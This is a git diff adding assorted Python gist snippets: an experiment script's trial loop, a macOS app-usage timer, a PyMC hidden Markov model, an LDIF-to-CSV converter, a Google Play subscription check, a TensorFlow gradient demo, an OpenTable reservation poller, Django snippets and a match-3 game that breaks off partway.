+                flankingAlso=flankingAlso.astype(np.integer) #cast as integers, so can use as subscripts
+                logging.error( 'flankers also='+str( np.around( interframeIntervs[flankingAlso], 1) )  )
+    #end timing check
+    passThisTrial=False
+    respPromptText.setText('Type the string')
+ 
+    responseDebug=False
+    responses = list(); responsesAutopilot = list(); passThisTrial=False
+    numRespsWanted = len(correctAnswer)
+    passThisTrial,responses,responsesAutopilot,expStop = \
+                  collectResponses(passThisTrial,numRespsWanted,responses,responsesAutopilot,expStop,responseDebug)  #collect responses!!!!!!!!!
+    #############################################################################################
+    core.wait(.1)
+    #Handle response, calculate whether correct, ########################################
+    if expStop:
+        responses =np.array([-999])  #because otherwise responses can't be turned into array if have partial response
+    if autopilot or passThisTrial:
+        responses = responsesAutopilot;  #print 'assigning responses to responsesAutopilot, = ', responsesAutopilot
+    
+    eachCorrect = np.zeros( len(correctAnswer) )    
+    print 'correctAnswer=',correctAnswer, '    responses = ',responses
+    
+    if expStop:
+        pass
+    else:
+        for i in range(len(correctAnswer)):
+            if correctAnswer[i] == responses[i]:
+                eachCorrect[i] = 1
+            # logging.warn('Response was not present in the stimulus stream')
+
+        print 'eachCorrect = ',eachCorrect
+        print 'overall correct=',eachCorrect.all()
+    
+        #header start  'trialnum\tsubject\ttask\t'
+        print >>dataFile, nDone,'\t',subject,'\t',
+        for i in range(len(correctAnswer)):
+            print >>dataFile, eachCorrect[i] , '\t',    #correct0, correct1, etc
+        print >>dataFile, eachCorrect.all()
+        #timingBlips
+        print >>dataFile, numCasesInterframeLong
+    
+        numTrialsCorrect += eachCorrect.all() #so count -1 as 0
+        #numRightWrongEachSpeedIdent[ speedIdx, (numColorsCorrectlyIdentified==3) ] +=1
+        if feedback:
+            high = sound.Sound('G',octave=5, sampleRate=6000, secs=.3, bits=8)
+            low = sound.Sound('F',octave=4, sampleRate=6000, secs=.3, bits=8)
+            high.setVolume(0.9)
+            low.setVolume(0.9)
+            if eachCorrect.all():
+                high.play()
+            elif passThisTrial:
+                high= sound.Sound('G',octave=4, sampleRate=2000, secs=.08, bits=8)
+                for i in range(2): 
+                    high.play();  low.play(); 
+            else: #incorrect
+                low.play()
+        nDone+=1
+    
+    dataFile.flush(); logging.flush()
+    #print 'nDone=', nDone,' trials.thisN=',trials.thisN,' trials.nTotal=',trials.nTotal
+    core.wait(.2); time.sleep(.2)
+    #end trials loop
+timeAndDateStr = time.strftime("%d%b%Y_%H-%M", time.localtime())
+msg = 'finishing at '+timeAndDateStr
+print msg;  logging.info(msg)
+if expStop:
+    msg = 'user aborted experiment on keypress with trials nDone='+ str(nDone) + ' of ' + str(trials.nTotal+1)
+    print msg; logging.error(msg)
+
+proportnCorrectMsg = '%corr= ',numTrialsCorrect*1.0/nDone*100., '% of ',nDone,' trials'
+print '%corr= ',numTrialsCorrect*1.0/nDone*100., '% of ',nDone,' trials'
+   #print 'breakdown by speed: ',
+   #print numRightWrongEachSpeedOrder[:,1] / ( numRightWrongEachSpeedOrder[:,0] + numRightWrongEachSpeedOrder[:,1])   
+#contents = dataFile.getvalue(); print contents
+#contents = logF.getvalue(); print contents
+logging.flush(); dataFile.close()
diff --git a/hard-gists/3425960/._snippet.py b/hard-gists/3425960/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3425960/._snippet.py differ
diff --git a/hard-gists/3425960/snippet.py b/hard-gists/3425960/snippet.py
new file mode 100644
index 00000000..3e57c946
--- /dev/null
+++ b/hard-gists/3425960/snippet.py
@@ -0,0 +1,123 @@
+#!/usr/bin/env python
+"""
+OSX ONLY!
+
+Monitor OSX application usage from your shell
+and at the end of the day see how much you don't
+work ;)
+
+Author: Glen Zangirolami
+http://theglenbot.com
+http://codrspace.com/glenbot
+http://twitter.com/glenbot
+
+Usage:
+./monitor_apps.py
+
+When your ready to calculate times just
+control+c to kill the script and it will print
+the output
+"""
+import time
+import datetime
+from AppKit import NSWorkspace
+
+
+class Application(object):
+    def __init__(self, name):
+        self.name = name
+        self.start_time = None
+        self.end_time = None
+        self.total_time = 0
+
+    def timer_started(self):
+        if self.start_time:
+            return True
+        return False
+
+    def start_timer(self):
+        self.start_time = time.time()
+
+    def stop_timer(self):
+        self.end_time = time.time()
+        if self.start_time:
+            self.append_time()
+
+    def append_time(self):
+        elapse_seconds = self.end_time - self.start_time
+        self.total_time += elapse_seconds
+        self.start_time = None
+        self.end_time = None
+
+    def elapse_time(self):
+        return str(datetime.timedelta(seconds=self.total_time))
+
+    def __str__(self):
+        return self.name
+
+
+class Applications(object):
+    def __init__(self):
+        self.registered_apps = {}
+        self.current_app = None
+
+    def is_current_app(self, app_name):
+        return app_name is self.current_app
+
+    def get_app(self, app_name):
+        self.current_app = app_name
+        if app_name in self.registered_apps:
+            return self.registered_apps[app_name]
+        return None
+
+    def register(self, app_name):
+        self.registered_apps[app_name] = Application(app_name)
+        return self.get_app(app_name)
+
+    def is_registered(self, app_name):
+        return app_name in self.registered_apps.keys()
+
+    def __iter__(self):
+        sorted_apps = sorted(
+            self.registered_apps.values(),
+            key=lambda a: a.total_time,
+            reverse=True
+        )
+        return iter(sorted_apps)
+
+
+apps = Applications()
+
+try:
+    while True:
+        active_application = NSWorkspace.sharedWorkspace().activeApplication()
+
+        if active_application:
+                app_name = active_application['NSApplicationName']
+
+                # stop the timer on app change
+                if not apps.is_current_app(app_name) and apps.current_app is not None:
+                    apps.get_app(apps.current_app).stop_timer()
+
+                # check if the app doesn't exist yet
+                if not apps.is_registered(app_name):
+                    app = apps.register(app_name)
+                else:
+                    app = apps.get_app(app_name)
+
+                # start the timer
+                if not app.timer_started():
+                    app.start_timer()
+
+                time.sleep(.2)
+
+except KeyboardInterrupt:
+    longest_name = max([len(app.name) for app in apps] + [len('Application')]) + 2
+    print ''
+    print "%s | %s" % ('Application'.ljust(longest_name), 'Total Time')
+    print "-" * (longest_name + 18)
+    for app in apps:
+        print "%s | %s" % (
+            app.name.ljust(longest_name),
+            app.elapse_time(),
+        )
diff --git a/hard-gists/3427750/._snippet.py b/hard-gists/3427750/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3427750/._snippet.py differ
diff --git a/hard-gists/3427750/snippet.py b/hard-gists/3427750/snippet.py
new file mode 100644
index 00000000..bd37803b
--- /dev/null
+++ b/hard-gists/3427750/snippet.py
@@ -0,0 +1,59 @@
+from PyQt4 import QtCore, QtGui
+
+class Window(QtGui.QDialog):
+
+	def __init__(self):
+		super(Window, self).__init__()
+		self.resize(200,100)
+
+		self._new_slider_min = .1
+		self._new_slider_max = .9
+
+		layout = QtGui.QVBoxLayout(self)
+		self.slider = QtGui.QSlider(QtCore.Qt.Horizontal, None)
+		self.slider.setRange(0,100)
+		self.slider.valueChanged.connect(self.handleSlider)
+		layout.addWidget(self.slider)
+
+	def handleSlider(self, val):
+		newVal = fit(
+			val, 
+			self.slider.minimum(), self.slider.maximum(), 
+			self._new_slider_min, self._new_slider_max
+		)
+
+		print "Slider: %0.2f => %0.2f" % (val, newVal)
+
+
+def fit(v, oldmin, oldmax, newmin=0.0, newmax=1.0):
+	"""
+	Just a standard math fit/remap function 
+
+		number v 		- initial value from old range 
+		number oldmin 	- old range min value 
+		number oldmax 	- old range max value 
+		number newmin 	- new range min value 
+		number newmax 	- new range max value  
+
+	Example:
+
+		fit(50, 0, 100, 0.0, 1.0)
+		# 0.5
+
+	"""
+	scale = (float(v) - oldmin) / (oldmax - oldmin) 
+	new_range = scale * (newmax - newmin)
+	if newmin < newmax: 
+		return newmin + new_range
+	else: 
+		return newmin - new_range	
+
+
+
+if __name__ == "__main__":
+	app = QtGui.QApplication([])
+	win = Window()
+	win.show()
+	win.raise_()
+	app.exec_()
+
diff --git a/hard-gists/342989/._snippet.py b/hard-gists/342989/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/342989/._snippet.py differ
diff --git a/hard-gists/342989/snippet.py b/hard-gists/342989/snippet.py
new file mode 100644
index 00000000..63bd8850
--- /dev/null
+++ b/hard-gists/342989/snippet.py
@@ -0,0 +1,94 @@
+import numpy as np
+import pymc
+import pdb
+
+def unconditionalProbability(Ptrans):
+   """Compute the unconditional probability for the states of a
+   Markov chain."""
+
+   m = Ptrans.shape[0]
+
+   P = np.column_stack((Ptrans, 1. - Ptrans.sum(axis=1)))
+
+   I = np.eye(m)
+   U = np.ones((m, m))
+   u = np.ones(m)
+
+   return np.linalg.solve((I - P + U).T, u)
+
+data = np.loadtxt('test_data.txt',
+                 dtype=np.dtype([('state', np.uint8),
+                                 ('emission', np.float)]),
+                 delimiter=',',
+                 skiprows=1)
+
+# Two state model for simplicity.
+N_states = 2
+N_chain = len(data)
+
+# Transition probability stochastic
+theta = np.ones(N_states) + 1.
+
+def Ptrans_logp(value, theta):
+   logp = 0.
+   for i in range(value.shape[0]):
+       logp = logp + pymc.dirichlet_like(value[i], theta)
+   return logp
+
+def Ptrans_random(theta):
+   return pymc.rdirichlet(theta, size=len(theta))
+
+Ptrans = pymc.Stochastic(logp=Ptrans_logp,
+                        doc='Transition matrix',
+                        name='Ptrans',
+                        parents={'theta': theta},
+                        random=Ptrans_random)
+
+#Hidden states stochastic
+def states_logp(value, Ptrans=Ptrans):
+    
+    if sum(value>1):
+        return -np.inf
+
+    P = np.column_stack((Ptrans, 1. - Ptrans.sum(axis=1)))
+
+    Pinit = unconditionalProbability(Ptrans)
+
+    logp = pymc.categorical_like(value[0], Pinit)
+
+    for i in range(1, len(value)):
+       try:
+          logp = logp + pymc.categorical_like(value[i], P[value[i-1]])
+       except:
+          pdb.set_trace()
+
+    return logp
+
+def states_random(Ptrans=Ptrans, N_chain=N_chain):
+   P = np.column_stack((Ptrans, 1. - Ptrans.sum(axis=1)))
+
+   Pinit = unconditionalProbability(Ptrans)
+
+   states = np.empty(N_chain, dtype=np.uint8)
+
+   states[0] = pymc.rcategorical(Pinit)
+
+   for i in range(1, N_chain):
+       states[i] = pymc.rcategorical(P[states[i-1]])
+
+   return states
+
+states = pymc.Stochastic(logp=states_logp,
+                        doc='Hidden states',
+                        name='states',
+                        parents={'Ptrans': Ptrans},
+                        random=states_random,
+                        dtype=np.uint8)
+
+# Gaussian emission parameters
+mu = pymc.Normal('mu', 0., 1.e-6, value=np.random.randn(N_states))
+sigma = pymc.Uniform('sigma', 0., 100.,
+value=np.random.rand(N_states))
+
+y = pymc.Normal('y', mu[states], 1./sigma[states]**2,
+value=data['emission'], observed=True)
\ No newline at end of file
diff --git a/hard-gists/3446681/._snippet.py b/hard-gists/3446681/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3446681/._snippet.py differ
diff --git a/hard-gists/3446681/snippet.py b/hard-gists/3446681/snippet.py
new file mode 100644
index 00000000..d1027ff9
--- /dev/null
+++ b/hard-gists/3446681/snippet.py
@@ -0,0 +1,42 @@
+import csv
+import ldif
+import sys
+
+
+def flatten(d, bar='|'):
+    """
+    Take a regular dictionary, and flatten the value if it's a list.
+    """
+    diff = {}
+    for k, v in d.items():
+        if not isinstance(v, basestring):
+            diff[k] = bar.join(v)
+    d.update(diff)
+    return d
+
+
+class MyParser(ldif.LDIFParser):
+
+    def __init__(self, *args, **kwargs):
+        ldif.LDIFParser.__init__(self, *args, **kwargs)
+        self.attributes = set()
+        self.records = []
+
+    def handle(self, dn, entry):
+        self.attributes.update(entry.keys())
+        self.records.append(entry)
+
+    def csv(self, fp=sys.stdout):
+        writer = csv.DictWriter(fp, fieldnames=self.attributes)
+        try:
+            writer.writeheader()
+        except AttributeError:
+            fields = sorted(self.attributes)
+            writer.writerow(dict(zip(fields, fields)))
+        for record in self.records:
+            writer.writerow(flatten(record))
+
+
+p = MyParser(sys.stdin)
+p.parse()
+p.csv()
diff --git a/hard-gists/3451509/._snippet.py b/hard-gists/3451509/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3451509/._snippet.py differ
diff --git a/hard-gists/3451509/snippet.py b/hard-gists/3451509/snippet.py
new file mode 100644
index 00000000..df20ca18
--- /dev/null
+++ b/hard-gists/3451509/snippet.py
@@ -0,0 +1,51 @@
+import datetime
+import httplib2
+# to see in detail what's going on, uncomment
+# httplib2.debuglevel = 4
+
+from apiclient.discovery import build
+from oauth2client.client import OAuth2Credentials, OAuth2WebServerFlow
+
+
+if __name__ == "__main__":
+
+    flow = OAuth2WebServerFlow(client_id="client_id_from_Console.apps.googleusercontent.com",
+                               client_secret="client_secret_from_Console",
+                               scope="https://www.googleapis.com/auth/androidpublisher")
+    auth_url = flow.step1_get_authorize_url(redirect_uri="http://localhost")
+
+    # the auth_url looks similar to this:
+    # https://accounts.google.com/o/oauth2/auth?scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fandroidpublisher&redirect_uri=http%3A%2F%2Flocalhost%2Foauth2callback&response_type=code&client_id=client_id_from_Console.apps.googleusercontent.com&access_type=offline
+    # open it up in the browser, log in with the appropriate Google account and press the Allow button
+    # after redirect, extract the code parameter from the URL
+    code = "4/kGRRVluW_MustsRmVcL2azzPHVFu.UuoPHSEws3AXOl01ti4ZT3YBGCqocgI"
+    flow_credentials = flow.step2_exchange(code)
+
+    # the flow_credentials object contains the refresh_token property,
+    # the one we're interested in; store it for later use
+    
+    credentials = OAuth2Credentials("FUBAR", # random value for access token, does not matter
+                                    "client_id_from_Console.apps.googleusercontent.com",
+                                    "client_secret_from_Console",
+                                    flow_credentials.refresh_token,
+                                    datetime.datetime.now(),
+                                    "https://accounts.google.com/o/oauth2/token",
+                                    "wildfuse/1.0") # be a good citizen and pass a custom User-Agent too
+
+    http = httplib2.Http()
+    http = credentials.authorize(http)
+    service = build("androidpublisher", "v1", http=http)
+
+    # get the packageName, productId and purchaseToken from the Android client
+    validation_request = service.purchases().get(packageName=packageName,
+                                                 subscriptionId=productId,
+                                                 token=purchaseToken)
+
+    # example return value of the validation_request.execute() call
+    #
+    # {u'initiationTimestampMsec': u'1340280336000',
+    #  u'kind': u'androidpublisher#subscriptionPurchase',
+    #  u'autoRenewing': False,
+    #  u'validUntilTimestampMsec': u'1342879522220'}
+    print validation_request.execute()
+
diff --git a/hard-gists/3453185b41d8d985356cbe5e57d67342/._snippet.py b/hard-gists/3453185b41d8d985356cbe5e57d67342/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3453185b41d8d985356cbe5e57d67342/._snippet.py differ
diff --git a/hard-gists/3453185b41d8d985356cbe5e57d67342/snippet.py b/hard-gists/3453185b41d8d985356cbe5e57d67342/snippet.py
new file mode 100644
index 00000000..0b50c3d3
--- /dev/null
+++ b/hard-gists/3453185b41d8d985356cbe5e57d67342/snippet.py
@@ -0,0 +1,37 @@
+import tensorflow as tf
+from tensorflow.python.framework import ops
+import numpy as np
+
+# Define custom py_func which takes also a grad op as argument:
+def py_func(func, inp, Tout, stateful=True, name=None, grad=None):
+    
+    # Need to generate a unique name to avoid duplicates:
+    rnd_name = 'PyFuncGrad' + str(np.random.randint(0, 1E+8))
+    
+    tf.RegisterGradient(rnd_name)(grad)  # see _MySquareGrad for grad example
+    g = tf.get_default_graph()
+    with g.gradient_override_map({"PyFunc": rnd_name}):
+        return tf.py_func(func, inp, Tout, stateful=stateful, name=name)
+
+# Def custom square function using np.square instead of tf.square:
+def mysquare(x, name=None):
+    
+    with ops.op_scope([x], name, "Mysquare") as name:
+        sqr_x = py_func(np.square,
+                        [x],
+                        [tf.float32],
+                        name=name,
+                        grad=_MySquareGrad)  # <-- here's the call to the gradient
+        return sqr_x[0]
+
+# Actual gradient:
+def _MySquareGrad(op, grad):
+    x = op.inputs[0]
+    return grad * 20 * x  # add a "small" error just to see the difference:
+
+with tf.Session() as sess:
+    x = tf.constant([1., 2.])
+    y = mysquare(x)
+    tf.initialize_all_variables().run()
+
+    print(x.eval(), y.eval(), tf.gradients(y, x)[0].eval())
\ No newline at end of file
diff --git a/hard-gists/3454877/._snippet.py b/hard-gists/3454877/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3454877/._snippet.py differ
diff --git a/hard-gists/3454877/snippet.py b/hard-gists/3454877/snippet.py
new file mode 100644
index 00000000..6e42ef41
--- /dev/null
+++ b/hard-gists/3454877/snippet.py
@@ -0,0 +1,37 @@
+import os, shlex
+
+from twisted.internet import defer, utils, reactor, threads
+from twisted.python import log, failure
+from buildbot.buildslave import AbstractBuildSlave, AbstractLatentBuildSlave
+from buildbot import config
+
+
+class ScriptedLatedBuildSubordinate(AbstractLatentBuildSlave):
+
+    def __init__(self, name, password, start_script, stop_script, max_builds=None, notify_on_missing=[],
+                 missing_timeout=60*20, build_wait_timeout=60*10, properties={}, locks=None):
+        AbstractLatentBuildSlave.__init__(self, name, password, max_builds, notify_on_missing,
+                                          missing_timeout, build_wait_timeout, properties, locks)
+
+        self.name = name
+        self.start_script = shlex.split(start_script)
+        self.stop_script = shlex.split(stop_script)
+
+    @defer.inlineCallbacks
+    def start_instance(self, build):
+        log.msg("Attempting to start '%s'" % self.name)
+        retval = yield utils.getProcessValue(self.start_script[0], self.start_script[1:])
+        defer.returnValue(retval == 0)
+
+    @defer.inlineCallbacks
+    def stop_instance(self, fast=False):
+        log.msg("Attempting to stop '%s'" % self.name)
+        retval = yield utils.getProcessValue(self.stop_script[0], self.stop_script[1:])
+
+        log.msg("subordinate destroyed (%s): Forcing its connection closed." % self.name)
+        yield AbstractBuildSlave.disconnect(self)
+
+        log.msg("We forced disconnection (%s), cleaning up and triggering new build" % self.name)
+        self.botmain.maybeStartBuildsForSlave(self.name)
+
+        defer.returnValue(retval == 0)
diff --git a/hard-gists/3473799/._snippet.py b/hard-gists/3473799/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3473799/._snippet.py differ
diff --git a/hard-gists/3473799/snippet.py b/hard-gists/3473799/snippet.py
new file mode 100644
index 00000000..0b37576e
--- /dev/null
+++ b/hard-gists/3473799/snippet.py
@@ -0,0 +1,161 @@
+#! /usr/bin/env python
+
+"""
+Pounce on an open OpenTable reservation.
+"""
+
+import sys, os, time, re, mechanize, gtk, webkit, threading, random
+
+rid = 1180 # OpenTable restaurant ID; 1180 = French Laundry
+people_choices = [3, 3, 3, 4] # number of people to request for; cycles through choices
+targetdate = parsedate ((5, 13, 2012, 7, 30, 00, 'PM'))
+slop = 86400 # in seconds; = 1 day; default date tolerance
+mintime = targetdate - slop # override manually if you want
+maxtime = targetdate + slop
+
+noisemaker_command = 'paplay /usr/share/sounds/gnome/default/alerts/bark.ogg'
+noisemaker_interval = 3 # in seconds
+
+timeout = 5 # in seconds; timeout for web request
+
+# I don't know what (if any) robot prevention systems OpenTable uses ...
+minperiod = 3 # shortest interval between requests
+maxperiod = 9 # longest interval between requests
+
+assert mintime < targetdate
+assert maxtime > targetdate
+
+
+def makequery (rid, date, people):
+    query_url = 'http://opentable.com/opentables.aspx?t=rest&r=%d&d=%s&p=%d'
+    return query_url % (rid, fmtdate (date), people)
+
+
+def fmtdate (t):
+    q = time.localtime (t)
+    yr, mo, dy = q[:3]
+    hr, mn, sc = q[3:6]
+    if hr == 0:
+        hr = 12
+        sfx = 'AM'
+    elif hr < 12:
+        sfx = 'AM'
+    else:
+        hr -= 12
+        sfx = 'PM'
+    return '%d/%d/%d%%20%d:%02d:%02d%%20%s' % (mo, dy, yr, hr, mn, sc, sfx)
+
+
+def parsedate (t):
+    mo, dy, yr, hr, mn, sc = [int (x) for x in t[:6]]
+
+    if t[6] == 'AM':
+        if hr == 12:
+            hr = 0
+    elif t[6] == 'PM':
+        if hr != 12:
+            hr += 12
+
+    return time.mktime ((yr, mo, dy, hr, mn, sc, 0, 0, -1))
+
+
+def findhits (n, f, targetdate):
+    datepattern = re.compile (r'\[\'(\d{1,2})\/(\d{1,2})\/(\d{4}) '
+                              r'(\d{1,2})\:(\d{2})\:(\d{2}) ([AP]M)')
+    pounces = []
+
+    for l in f:
+        dmatches = re.findall (datepattern, l)
+        if not len (dmatches):
+            continue
+
+        for dt in dmatches:
+            date = parsedate (dt)
+
+            if date < mintime or date > maxtime:
+                print n, time.strftime ('%Y/%m/%d %H:%M:%S'), '**rejecting**', fmtdate (date)
+                continue
+
+            score = abs (date - targetdate)
+            pmatch = '[\'%s/%s/%s %s:%s:%s %s\'' % dt
+            pounces.append ((score, date, pmatch))
+
+    pounces.sort (key=lambda t: t[0])
+    return pounces
+
+
+def noisemaker ():
+    while True:
+        os.system (noisemaker_command)
+        time.sleep (noisemaker_interval)
+
+
+def pounce (qurl, pmatch):
+    thr = threading.Thread (target=noisemaker)
+    thr.start ()
+
+    v = webkit.WebView ()
+    w = gtk.Window ()
+    w.connect ('destroy', lambda q: w.destroy)
+    w.set_size_request (1000, 600)
+    w.connect ('delete-event', lambda w, e: gtk.main_quit ())
+    s = gtk.ScrolledWindow ()
+    s.add (v)
+    w.add (s)
+    w.show_all ()
+
+    myscript = r'''
+    var lis = document.getElementsByTagName("li");
+    for (var i = 0; i < lis.length; i++) {
+      var a = lis[i].getAttribute ("a");
+      if (a != null) {
+        if (a.indexOf ("%s") == 0) {
+          Time_OnClick (lis[i], GridType.ResultsGrid);
+          break;
+        }
+      }
+    }
+    ''' % pmatch
+
+    def finished (*args):
+        if v.get_load_status () != webkit.LOAD_FINISHED:
+            return
+        v.execute_script (myscript)
+
+    v.connect ('notify::load-status', finished)
+    v.open (qurl)
+    gtk.main ()
+
+
+def iteration (n, targetdate):
+    br = mechanize.Browser ()
+    people = people_choices[n % len (people_choices)]
+    qurl = makequery (rid, targetdate, people)
+    print n, time.strftime ('%Y/%m/%d %H:%M:%S'), 'R:', qurl
+
+    try:
+        br.open (qurl, timeout=timeout)
+    except mechanize.URLError:
+        print n, time.strftime ('%Y/%m/%d %H:%M:%S'), '--> timeout'
+        return
+
+    pounces = findhits (n, br.response (), targetdate)
+    if not len (pounces):
+        print n, time.strftime ('%Y/%m/%d %H:%M:%S'), '--> no results'
+        return
+
+    score, date, pmatch = pounces[0]
+    print n, time.strftime ('%Y/%m/%d %H:%M:%S'), 'GOT ONE:', date, pmatch, score
+    pounce (qurl, pmatch)
+
+
+n = 0
+
+while True:
+    try:
+        iteration (n, targetdate)
+    except Exception as e:
+        print >>sys.stderr, n, 'EXCEPTION:', e
+
+    time.sleep (random.uniform (minperiod, maxperiod))
+    n += 1
\ No newline at end of file
diff --git a/hard-gists/347596/._snippet.py b/hard-gists/347596/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/347596/._snippet.py differ
diff --git a/hard-gists/347596/snippet.py b/hard-gists/347596/snippet.py
new file mode 100644
index 00000000..a5dfd37e
--- /dev/null
+++ b/hard-gists/347596/snippet.py
@@ -0,0 +1,13 @@
+import time
+from django.utils.http import http_date
+
+AJAX_NEGATIVE_CHECK_EXPIRES = 60 # object is still available
+AJAX_POSITIVE_CHECK_EXPIRES = 60*10 # if object is not available (or taken)
+
+def check_ajax(request):
+    # do stuff here
+    timeout = AJAX_NEGATIVE_CHECK_EXPIRES if avail else AJAX_POSITIVE_CHECK_EXPIRES
+
+    response = HttpResponse(json_result, mimetype='application/json')
+    response['Expires'] = http_date(time.time() + timeout)
+    return response
diff --git a/hard-gists/3485205/._snippet.py b/hard-gists/3485205/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3485205/._snippet.py differ
diff --git a/hard-gists/3485205/snippet.py b/hard-gists/3485205/snippet.py
new file mode 100644
index 00000000..5a440d1c
--- /dev/null
+++ b/hard-gists/3485205/snippet.py
@@ -0,0 +1,23 @@
+from django.conf import settings
+from django.conf.urls import patterns, include, url
+from django.contrib.staticfiles.urls import staticfiles_urlpatterns
+
+# from django.contrib import admin
+
+# admin.autodiscover()
+
+urlpatterns = patterns('',
+    # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),
+    # url(r'^admin/', include(admin.site.urls)),
+)
+
+# Static files url patterns
+urlpatterns += staticfiles_urlpatterns()
+
+# Media files url patterns
+if settings.DEBUG:
+    urlpatterns += patterns('',
+        url(r'^%s/(?P<path>.*)$' % settings.MEDIA_URL.lstrip('/').rstrip('/'), 
+            'django.views.static.serve', {'document_root': settings.MEDIA_ROOT}
+        )
+   )
diff --git a/hard-gists/3488502/._snippet.py b/hard-gists/3488502/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3488502/._snippet.py differ
diff --git a/hard-gists/3488502/snippet.py b/hard-gists/3488502/snippet.py
new file mode 100644
index 00000000..e5b7b6a5
--- /dev/null
+++ b/hard-gists/3488502/snippet.py
@@ -0,0 +1,304 @@
+from scene import *
+from random import choice, randrange
+import sound
+
+TILE_SIZE=64 #size of tile
+SDX=4 #selection frame size
+M=3 #match 3(?) game
+NOS = (-1, -1) #constant to indicate clear selection
+FALL_S=0.2 #speed of fall per each tile
+FALL_T=0 #constant fall tile
+IMAGES = ['Cherries', 'Grapes', 'Red_Apple',
+		               'Strawberry', 'Melon', 'Peach', 'Chestnut']
+		               
+SEL_IMAGE = 'White_Square'		       
+
+class Match (Layer):
+
+	def setup(self, gridX, gridY, tileNumber):
+		self.GRIDX, self.GRIDY = gridX, gridY
+		# This will be called before the first frame is drawn.
+		self.images = IMAGES[:tileNumber]
+		self.scoreLayers=[]
+		self.selLayer = Layer(Rect(0, 0, TILE_SIZE+2*SDX, TILE_SIZE+2*SDX))
+		self.selLayer.alpha = 0
+		self.selLayer.image = SEL_IMAGE
+		self.add_layer(self.selLayer)
+		
+		self.score = 0
+		self.selection = (-1, -1)
+		self.tint = (-1, -1)
+		self.animationCount = 0
+		self.toCheck = set()
+		self.inverse = None 
+		
+		self.grid = [None for _ in xrange(self.GRIDX*self.GRIDY)]
+		self.gameOver = True 
+		
+		while self.gameOver:
+			for y in xrange(self.GRIDY):
+				for x in xrange(self.GRIDX):
+					bad=True 
+					tile = Layer(Rect(x*TILE_SIZE, y*TILE_SIZE, 
+					                  TILE_SIZE, TILE_SIZE))
+					while bad:
+						bad=False 
+						tile.image = choice(self.images)
+						if x>=M-1 and all([self[x-i-1, y].image ==
+					                   tile.image for i in xrange(M-1)]):
+							bad=True
+						if y>=M-1 and all([self[x, y-i-1].image ==
+					                   tile.image for i in xrange(M-1)]):
+							bad=True
+					self[x,y]=tile
+			self.gameOver = not self.moveAvailiable()
+		
+		for tile in self.grid:		
+			self.add_layer(tile)
+		
+	def __getitem__(self, (x, y)):
+		return self.grid[x+y*self.GRIDX]
+	
+	def __setitem__(self, (x, y), img):
+		self.grid[x+y*self.GRIDX] = img
+
+	def clampTile(self, x, lim):
+		ret = int(x/TILE_SIZE)
+		return ret if 0 <= ret < lim else -1
+
+	def touchTile(self, touch):
+		return (self.clampTile(touch.location.x-self.frame.x, self.GRIDX), 
+		        self.clampTile(touch.location.y-self.frame.y, self.GRIDY))
+	
+	def touch_began(self, touch):
+		self.tint = self.touchTile(touch)
+
+	def touch_moved(self, touch):
+		self.tint = self.touchTile(touch)
+
+	def touch_ended(self, touch):
+		self.tint = NOS
+		if self.animationCount:
+			return
+		pt = self.touchTile(touch)
+		if pt==NOS:
+			pass
+		elif pt==self.selection:
+			sound.play_effect('Click_1')
+			pt=NOS
+		elif sum([abs(a-b) for a,b in zip(pt, self.selection)])==1:
+			if self[pt].image!=self[self.selection].image:
+				self.beginSwap(self.selection, pt)
+				pt=NOS
+			else: 
+				sound.play_effect('Click_1')
+		else:
+			sound.play_effect('Click_1')
+		self.selection=pt
+		
+		if pt!=NOS:
+			self.selLayer.frame.x = pt[0]*TILE_SIZE-SDX
+			self.selLayer.frame.y = pt[1]*TILE_SIZE-SDX
+			self.selLayer.animate('alpha', 0.3, 0.2)
+		else: 
+			self.selLayer.animate('alpha', 0, 0.2)
+			
+			
+	def beginSwap(self, p1, p2, check=True):
+		sound.play_effect('Woosh_1' if check else 'Woosh_2')
+		self[p1], self[p2] = self[p2], self[p1]
+		self.animationCount += 2
+		if check:
+			self.inverse = (p1, p2)
+			self.toCheck.add(p1)
+			self.toCheck.add(p2)
+		self[p1].animate('frame', self[p2].frame, completion=self.animMoveDone)
+		self[p2].animate('frame', self[p1].frame, completion=self.animMoveDone)
+
+	
+	def animMoveDone(self):
+		self.animationCount -= 1
+		if self.animationCount == 0:
+			if self.toCheck and not self.check():
+				if self.inverse:
+					self.beginSwap(*(self.inverse), check=False )
+					self.inverse = None
+
+	def checkTiles(self, toCheck):
+		toKill = set()
+		killGroups=set()
+		directions = [((-1,0), (1,0)), ((0,1), (0,-1))]
+		for tile in toCheck:
+			for line in directions:
+				cur = set()
+				for d in line:
+					t = tile
+					while t and self[tile].image==self[t].image:
+						cur.add(t)
+						t= tuple( (a+b) for a,b in zip(t, d) )
+						t= t if all([0<=a<m for a,m in zip(t,(self.GRIDX,self.GRIDY))]) else None
+				if len(cur)>=M:
+					toKill.update(cur)
+					killGroups.add(tuple(sorted(cur)))
+		return toKill, killGroups
+	
+	
+	def check(self):
+		self.toKill, killGroups = self.checkTiles(self.toCheck)		
+		self.toCheck.clear()
+		
+		for tile in self.toKill:
+			self[tile].animate('alpha', 0, completion=self.animKillDone)
+			self.animationCount += 1
+		if self.toKill:
+			self.inverse=None 
+			sound.play_effect('Coin_4')
+			print  killGroups
+			for sg in killGroups:
+				a = map(self.__getitem__, sg)
+				a = map(lambda l: getattr(l, 'frame'), a)
+				a = map(lambda r: (r.center().x,r.center().y), a)
+				l = len(a)
+				a = map(sum, zip(*a))
+				a = map(lambda p: p/l+randrange(-TILE_SIZE/3,TILE_SIZE/3), a)
+				score = TextLayer(str(l), 'ChalkboardSE-Bold', 40)
+				score.frame.center(*a)
